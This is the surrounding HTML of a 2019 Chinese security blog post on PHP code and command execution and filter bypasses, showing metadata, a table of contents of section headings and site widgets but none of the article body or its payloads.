  <!-- JS库 sweetalert 可修改路径 -->
  <script src="https://cdn.bootcss.com/jquery/2.0.0/jquery.min.js"></script>
  <script src="https://unpkg.com/sweetalert/dist/sweetalert.min.js"></script>
  <p><span>本文标题:</span><a href="/exec/">聊一聊代码、命令执行</a></p>
  <p><span>文章作者:</span><a href="/" title="访问 冷逸 的个人博客">冷逸</a></p>
  <p><span>发布时间:</span>2019年08月22日 - 09:08</p>
  <p><span>最后更新:</span>2019年08月22日 - 16:08</p>
  <p><span>原始链接:</span><a href="/exec/" title="聊一聊代码、命令执行">https://lengjibo.github.io/exec/</a>
    <span class="copy-path"  title="点击复制文章链接"><i class="fa fa-clipboard" data-clipboard-text="https://lengjibo.github.io/exec/"  aria-label="复制成功！"></i></span>
  </p>
  <p><span>许可协议:</span><i class="fa fa-creative-commons"></i> <a rel="license" href="https://creativecommons.org/licenses/by-nc-nd/4.0/" target="_blank" title="Attribution-NonCommercial-NoDerivatives 4.0 International (CC BY-NC-ND 4.0)">署名-非商业性使用-禁止演绎 4.0 国际</a> 转载请保留原文链接及作者。</p>  
</div>
<script> 
    var clipboard = new Clipboard('.fa-clipboard');
    $(".fa-clipboard").click(function(){
      clipboard.on('success', function(){
        swal({   
          title: "",   
          text: '复制成功',
          icon: "success", 
          showConfirmButton: true
          });
    });
    });  
</script>


      
    </div>
    <div>
      
        <div>
    
        <div style="text-align:center;color: #555;font-size:14px;">-------------The End-------------</div>
    
</div>

      
    </div>
    

    
      <div>
        <div style="padding: 10px 0; margin: 20px auto; width: 90%; text-align: center;">
  <div>坚持原创技术分享，您的支持将鼓励我继续创作！</div>
  <button id="rewardButton" disable="enable" onclick="var qr = document.getElementById('QR'); if (qr.style.display === 'none') {qr.style.display='block';} else {qr.style.display='none'}">
    <span>Donate</span>
  </button>
  <div id="QR" style="display: none;">

    
      <div id="wechat" style="display: inline-block">
        <img id="wechat_qr" src="/images/wechat.png" alt="冷逸 WeChat Pay"/>
        <p>WeChat Pay</p>
      </div>
    

    
      <div id="alipay" style="display: inline-block">
        <img id="alipay_qr" src="/images/zhifubao.jpg" alt="冷逸 Alipay"/>
        <p>Alipay</p>
      </div>
    

    

  </div>
</div>

      </div>
    

    

    <footer class="post-footer">
      
        <div class="post-tags">
          
            <a href="/tags/命令执行-代码执行-漏洞挖掘-CTF-Bypass/" rel="tag"><i class="fa fa-tag"></i> -命令执行 -代码执行 -漏洞挖掘 -CTF -Bypass</a>
          
        </div>
      

      
      
        <div class="post-widgets">
        

        

        
          
          <div class="social_share">
            
               <div>
                 
  <div class="bdsharebuttonbox">
    <a href="#" class="bds_tsina" data-cmd="tsina" title="分享到新浪微博"></a>
    <a href="#" class="bds_douban" data-cmd="douban" title="分享到豆瓣网"></a>
    <a href="#" class="bds_sqq" data-cmd="sqq" title="分享到QQ好友"></a>
    <a href="#" class="bds_qzone" data-cmd="qzone" title="分享到QQ空间"></a>
    <a href="#" class="bds_weixin" data-cmd="weixin" title="分享到微信"></a>
    <a href="#" class="bds_tieba" data-cmd="tieba" title="分享到百度贴吧"></a>
    <a href="#" class="bds_twi" data-cmd="twi" title="分享到Twitter"></a>
    <a href="#" class="bds_fbook" data-cmd="fbook" title="分享到Facebook"></a>
    <a href="#" class="bds_more" data-cmd="more"></a>
    <a class="bds_count" data-cmd="count"></a>
  </div>
  <script>
    window._bd_share_config = {
      "common": {
        "bdText": "",
        "bdMini": "2",
        "bdMiniList": false,
        "bdPic": ""
      },
      "share": {
        "bdSize": "16",
        "bdStyle": "0"
      },
      "image": {
        "viewList": ["tsina", "douban", "sqq", "qzone", "weixin", "twi", "fbook"],
        "viewText": "分享到：",
        "viewSize": "16"
      }
    }
  </script>

<script>
  with(document)0[(getElementsByTagName('head')[0]||body).appendChild(createElement('script')).src='//bdimg.share.baidu.com/static/api/js/share.js?cdnversion='+~(-new Date()/36e5)];
</script>

               </div>
            
            
          </div>
        
        </div>
      
      

      
        <div class="post-nav">
          <div class="post-nav-next post-nav-item">
            
              <a href="/moresql/" rel="next" title="又双叒叕谈注入">
                <i class="fa fa-chevron-left"></i> 又双叒叕谈注入
              </a>
            
          </div>

          <span class="post-nav-divider"></span>

          <div class="post-nav-prev post-nav-item">
            
              <a href="/cs/" rel="prev" title="记一次禅道cms测试">
                记一次禅道cms测试 <i class="fa fa-chevron-right"></i>
              </a>
            
          </div>
        </div>
      

      
      
    </footer>
  </div>
  
  
  
  </article>


  </div>


          </div>
          

  



        </div>
        
          
  
  <div class="sidebar-toggle">
    <div class="sidebar-toggle-line-wrap">
      <span class="sidebar-toggle-line sidebar-toggle-line-first"></span>
      <span class="sidebar-toggle-line sidebar-toggle-line-middle"></span>
      <span class="sidebar-toggle-line sidebar-toggle-line-last"></span>
    </div>
  </div>

  <aside id="sidebar" class="sidebar">
    
    <div class="sidebar-inner">

      

      
        <ul class="sidebar-nav motion-element">
          <li class="sidebar-nav-toc sidebar-nav-active" data-target="post-toc-wrap">
            Inhaltsverzeichnis
          </li>
          <li class="sidebar-nav-overview" data-target="site-overview-wrap">
            Übersicht
          </li>
        </ul>
      

      <section class="site-overview-wrap sidebar-panel">
        <div class="site-overview">
          <div class="site-author motion-element" itemprop="author" itemscope itemtype="http://schema.org/Person">
            
              <img class="site-author-image" itemprop="image"
                src="http://ww1.sinaimg.cn/large/007F8GgBly1g7vony4ltaj308w08wq30.jpg"
                alt="冷逸" />
            
              <p class="site-author-name" itemprop="name">冷逸</p>
              <p class="site-description motion-element" itemprop="description">做一个温柔的人...</p>
          </div>

          
            <nav class="site-state motion-element">
              
                <div class="site-state-item site-state-posts">
                
                  <a href="/archives/">
                
                    <span class="site-state-item-count">113</span>
                    <span class="site-state-item-name">Artikel</span>
                  </a>
                </div>
              

              
                
                
                <div class="site-state-item site-state-categories">
                  <a href="/categories/index.html">
                    
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                    <span class="site-state-item-count">19</span>
                    <span class="site-state-item-name">Kategorien</span>
                  </a>
                </div>
              

              
                
                
                <div class="site-state-item site-state-tags">
                  <a href="/tags/index.html">
                    
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                    <span class="site-state-item-count">120</span>
                    <span class="site-state-item-name">Tags</span>
                  </a>
                </div>
              
            </nav>
          

          
            <div class="feed-link motion-element">
              <a href="/../../.deploy_git/atom.xml" rel="alternate">
                <i class="fa fa-rss"></i>
                RSS
              </a>
            </div>
          

          
            <div class="links-of-author motion-element">
              
                <span class="links-of-author-item">
                  <a href="https://github.com/lengjibo" target="_blank" title="GitHub"><i class="fa fa-fw fa-globe"></i>GitHub</a>
                  
                </span>
              
                <span class="links-of-author-item">
                  <a href="qqlengyi@163.com" target="_blank" title="E-Mail"><i class="fa fa-fw fa-globe"></i>E-Mail</a>
                  
                </span>
              
            </div>
          
        <div id="music163player">
            <iframe frameborder="no" border="0" marginwidth="0" marginheight="0" width=330 height=110 src="https://music.163.com/outchain/player?type=0&id=377079922&auto=1&height=90"></iframe>
          </div>
          
          

          
          
            <div class="links-of-blogroll motion-element links-of-blogroll-block">
              <div class="links-of-blogroll-title">
                <i class="fa  fa-fw fa-link"></i>
                友情链接
              </div>
              <ul class="links-of-blogroll-list">
                
                  <li class="links-of-blogroll-item">
                    <a href="https://sqlmap.wiki/" title="青春's blog" target="_blank">青春's blog</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="http://www.addon.pub/" title="Yokeen's blog" target="_blank">Yokeen's blog</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://freeerror.org/" title="之乎者也's blog" target="_blank">之乎者也's blog</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://www.bugbank.cn/team/FrigidSword" title="漏洞银行" target="_blank">漏洞银行</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://www.vulbox.com/team/Frigid%20Sword%E5%AE%89%E5%85%A8%E5%9B%A2%E9%98%9F" title="漏洞盒子" target="_blank">漏洞盒子</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://godpang.github.io/" title="Mr.赵" target="_blank">Mr.赵</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://amliaw4.github.io/" title="amliaW4'S Blog" target="_blank">amliaW4'S Blog</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://www.se7ensec.cn/" title="se7en's Blog" target="_blank">se7en's Blog</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://ninjia.gitbook.io/secskill/" title="secskill" target="_blank">secskill</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="http://www.bug1024.cn/" title="ibug" target="_blank">ibug</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="http://wwcx.org/" title="Strjziny's Blog" target="_blank">Strjziny's Blog</a>
                  </li>
                
              </ul>
            </div>
          

          
            
          
          

        </div>
      </section>

      
      <!--noindex-->
        <section class="post-toc-wrap motion-element sidebar-panel sidebar-panel-active">
          <div class="post-toc">

            
              
            

            
              <div class="post-toc-content"><ol class="nav"><li class="nav-item nav-level-2"><a class="nav-link" href="#代码执行"><span class="nav-number">1.</span> <span class="nav-text">代码执行</span></a><ol class="nav-child"><li class="nav-item nav-level-3"><a class="nav-link" href="#代码执行概念"><span class="nav-number">1.1.</span> <span class="nav-text">代码执行概念</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#常见执行方法"><span class="nav-number">1.2.</span> <span class="nav-text">常见执行方法</span></a><ol class="nav-child"><li class="nav-item nav-level-4"><a class="nav-link" href="#eval"><span class="nav-number">1.2.1.</span> <span class="nav-text">eval</span></a></li><li class="nav-item nav-level-4"><a class="nav-link" href="#assert"><span class="nav-number">1.2.2.</span> <span class="nav-text">assert</span></a></li><li class="nav-item nav-level-4"><a class="nav-link" href="#call-user-func"><span class="nav-number">1.2.3.</span> <span class="nav-text">call_user_func</span></a></li><li class="nav-item nav-level-4"><a class="nav-link" href="#call-user-fuc-array"><span class="nav-number">1.2.4.</span> <span class="nav-text">call_user_fuc_array</span></a></li><li class="nav-item nav-level-4"><a class="nav-link" href="#create-function"><span class="nav-number">1.2.5.</span> <span class="nav-text">create_function</span></a></li><li class="nav-item nav-level-4"><a class="nav-link" href="#preg-replace"><span class="nav-number">1.2.6.</span> <span class="nav-text">preg_replace</span></a></li><li class="nav-item nav-level-4"><a class="nav-link" href="#array-map"><span class="nav-number">1.2.7.</span> <span class="nav-text">array_map</span></a></li><li class="nav-item nav-level-4"><a class="nav-link" href="#array-filter"><span class="nav-number">1.2.8.</span> <span class="nav-text">array_filter</span></a></li><li class="nav-item nav-level-4"><a class="nav-link" href="#usort"><span class="nav-number">1.2.9.</span> <span class="nav-text">usort</span></a></li><li class="nav-item nav-level-4"><a class="nav-link" href="#uasort"><span class="nav-number">1.2.10.</span> <span class="nav-text">uasort</span></a></li><li class="nav-item nav-level-4"><a class="nav-link" href="#"><span class="nav-number">1.2.11.</span> <span class="nav-text">${}</span></a></li></ol></li><li class="nav-item nav-level-3"><a class="nav-link" href="#代码执行例题"><span class="nav-number">1.3.</span> <span class="nav-text">代码执行例题</span></a></li></ol></li><li class="nav-item nav-level-2"><a class="nav-link" href="#命令执行"><span class="nav-number">2.</span> <span class="nav-text">命令执行</span></a><ol class="nav-child"><li class="nav-item nav-level-3"><a class="nav-link" href="#命令执行概念"><span class="nav-number">2.1.</span> <span class="nav-text">命令执行概念</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#命令执行常见函数"><span class="nav-number">2.2.</span> <span class="nav-text">命令执行常见函数</span></a><ol class="nav-child"><li class="nav-item nav-level-4"><a class="nav-link" href="#system"><span class="nav-number">2.2.1.</span> <span class="nav-text">system</span></a></li><li class="nav-item nav-level-4"><a class="nav-link" href="#exec"><span class="nav-number">2.2.2.</span> <span class="nav-text">exec</span></a></li><li class="nav-item nav-level-4"><a class="nav-link" href="#passthru"><span class="nav-number">2.2.3.</span> <span class="nav-text">passthru</span></a></li><li class="nav-item nav-level-4"><a class="nav-link" href="#shell-exec"><span class="nav-number">2.2.4.</span> <span class="nav-text">shell_exec</span></a></li><li class="nav-item nav-level-4"><a class="nav-link" href="#反引号"><span class="nav-number">2.2.5.</span> <span class="nav-text">反引号</span></a></li><li class="nav-item nav-level-4"><a class="nav-link" href="#ob-start"><span class="nav-number">2.2.6.</span> <span class="nav-text">ob_start</span></a></li></ol></li></ol></li><li class="nav-item nav-level-2"><a class="nav-link" href="#绕过"><span class="nav-number">3.</span> <span class="nav-text">绕过</span></a><ol class="nav-child"><li class="nav-item nav-level-3"><a class="nav-link" href="#常见分隔符"><span class="nav-number">3.1.</span> <span class="nav-text">常见分隔符</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#绕过空格"><span class="nav-number">3.2.</span> <span class="nav-text">绕过空格</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#各类符号"><span class="nav-number">3.3.</span> <span class="nav-text">各类符号</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#敏感字符绕过"><span class="nav-number">3.4.</span> <span class="nav-text">敏感字符绕过</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#无回显"><span class="nav-number">3.5.</span> <span class="nav-text">无回显</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#长度绕过"><span class="nav-number">3.6.</span> <span class="nav-text">长度绕过</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#无字母数字命令执行（webshell）"><span class="nav-number">3.7.</span> <span class="nav-text">无字母数字命令执行（webshell）</span></a></li></ol></li></ol></div>
            

          </div>
        </section>
      <!--/noindex-->
      

      

    </div>
  </aside>


        
      </div>
    </main>

    <footer id="footer" class="footer">
      <div class="footer-inner">
        <div class="copyright">&copy; 2014 – <span itemprop="copyrightYear">2020</span>
  <span class="with-love" id="animate">
    <i class="fa fa-user"></i>
  </span>
  <span class="author" itemprop="copyrightHolder">冷逸</span>

  

  
</div>




  <div class="powered-by">Erstellt mit  <a class="theme-link" target="_blank" href="https://hexo.io">Hexo</a> v3.7.1</div>



  <span class="post-meta-divider">|</span>



  <div class="theme-info">Theme – <a class="theme-link" target="_blank" href="https://theme-next.org">NexT.Muse</a> v6.4.0</div>






        
<div class="busuanzi-count">
  <script async src="https://busuanzi.ibruce.info/busuanzi/2.3/busuanzi.pure.mini.js"></script>

  
    <span class="site-uv" title="Total Visitors">
      <i class="fa fa-user"></i>
      <span class="busuanzi-value" id="busuanzi_value_site_uv"></span>
    </span>
  

  
    <span class="site-pv" title="Total Views">
      <i class="fa fa-eye"></i>
      <span class="busuanzi-value" id="busuanzi_value_site_pv"></span>
    </span>
  
</div>









        
      </div>
    </footer>

    
      <div class="back-to-top">
        <i class="fa fa-arrow-up"></i>
        
      </div>
    

    
	
    

    
  </div>

  

<script type="text/javascript">
  if (Object.prototype.toString.call(window.Promise) !== '[object Function]') {
    window.Promise = null;
  }
</script>














  







  
  







  
  
    <script type="text/javascript" src="//cdn.jsdelivr.net/jquery/2.1.3/jquery.min.js"></script>
  

  
  
    <script type="text/javascript" src="//cdn.jsdelivr.net/velocity/1.2.3/velocity.min.js"></script>
  

  
  
    <script type="text/javascript" src="//cdn.jsdelivr.net/velocity/1.2.3/velocity.ui.min.js"></script>
  

  
  
    <script type="text/javascript" src="//cdn.bootcss.com/canvas-nest.js/1.0.1/canvas-nest.min.js"></script>
  

  
  
    <script type="text/javascript" src="/lib/three/three.min.js"></script>
  

  
  
    <script type="text/javascript" src="/lib/three/canvas_sphere.min.js"></script>
  


  


  <script type="text/javascript" src="/js/src/utils.js?v=6.4.0"></script>

  <script type="text/javascript" src="/js/src/motion.js?v=6.4.0"></script>



  
  

  
  <script type="text/javascript" src="/js/src/scrollspy.js?v=6.4.0"></script>
<script type="text/javascript" src="/js/src/post-details.js?v=6.4.0"></script>



  


  <script type="text/javascript" src="/js/src/bootstrap.js?v=6.4.0"></script>



  



  










  





  

  

  

  

  
  

  

  

  

  

  

<script src="/live2dw/lib/L2Dwidget.min.js?0c58a1486de42ac6cc1c59c7d98ae887"></script><script>L2Dwidget.init({"log":false,"pluginJsPath":"lib/","pluginModelPath":"assets/","pluginRootPath":"live2dw/","tagMode":false});</script></body>
</html>
<script type="text/javascript" src="/js/src/love.js"></script>
